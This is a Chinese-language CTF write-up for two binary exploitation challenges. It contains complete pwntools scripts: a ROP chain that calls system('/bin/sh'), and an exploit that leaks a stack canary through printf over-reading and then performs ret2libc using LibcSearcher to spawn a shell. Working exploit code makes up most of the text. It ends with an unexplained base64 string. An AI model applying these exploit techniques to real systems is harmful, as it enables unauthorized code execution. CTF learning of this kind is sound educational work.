PWN一共有两道题
1
常规的ROP
from pwn import*
from LibcSearcher import*
context(arch="amd64", os="linux", log_level="debug").
#p=remote("172.17.0.15",14565)
p = process("/home/monke/vmcoursectfmatch/9/pwn.bin")
elf=ELF("/home/monke/vmcoursectfmatch/9/pwn.bin")
pop_rdi = 0x401c73
ret=0x40101a
binsh = 0x4023ff
system=elf.sym["system"]
payload = cyclic(64+8)+p64(pop_rdi)+p64(binsh)+p64(0x401b21)
p.sendlineafter('wish: ',payload)
p.interactive()
2
本题上了canary保护, 先泄露canary然后打ret2libc
泄露canary原理:
利用printf不遇到\x00不终止的特点,如果把canary的最低字节\x00覆盖了,就能在打印时候顺带把它打印出来,然后减去用来覆盖\x00的那一字节的值,就能得到canary原值。在小端存储中,\x00这一字节是与s相邻的。
所以:
payload1=b'a'*72
p.sendlineafter('name?',payload1)
sendline会自动加上回车,也就是回车会覆盖掉\x00,而回车\n的值是0xa,所以拿到canary后要减去0xa才是正确的值。
p.recvuntil(b'a'*72)
canary=u64(p.recv(8))-0xa
这样就拿到了canary,接下来就是常规ret2libc了
完整exp:
from pwn import*
from LibcSearcher import*
context(arch="amd64", os="linux", log_level="info")
#p=remote("172.17.0.15",14565)
p = process("/home/monke/vmcoursectfmatch/10/pwn.bin")
elf=ELF("/home/monke/vmcoursectfmatch/10/pwn.bin")
pop_rdi = 0x401343
ret=0x40101a
binsh=0x404058
system=0x4010b0
#gdb.attach(p)
#利用printf没读到\0不截断的特点,泄露canary
payload1=b'a'*72
p.sendlineafter('name?',payload1)
p.recvuntil(b'a'*72)
canary=u64(p.recv(8))-0xa
print(hex(canary))
#leak
payload = cyclic(72)+p64(canary)+p64(0)+p64(pop_rdi)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(elf.sym["main"])
p.sendlineafter('stack!',payload)
puts = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))
libc=LibcSearcher("puts",puts)
libcbase=puts-libc.dump('puts')
system=libcbase+libc.dump('system')
binsh=libcbase+libc.dump('str_bin_sh')
print(hex(system))
print(hex(binsh))
#attack
payload=cyclic(72)+p64(canary)+p64(0)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendlineafter('name?',b'1')
p.sendlineafter('stack!',payload)
#gdb.attach(p)
p.interactive()
然后挨个试libc版本,我试到2出了shell。
WkRJNWFsZ3lNWFppYlhSc1dDdGxiRzVuUFQwPQ==
😶
woc_monke_神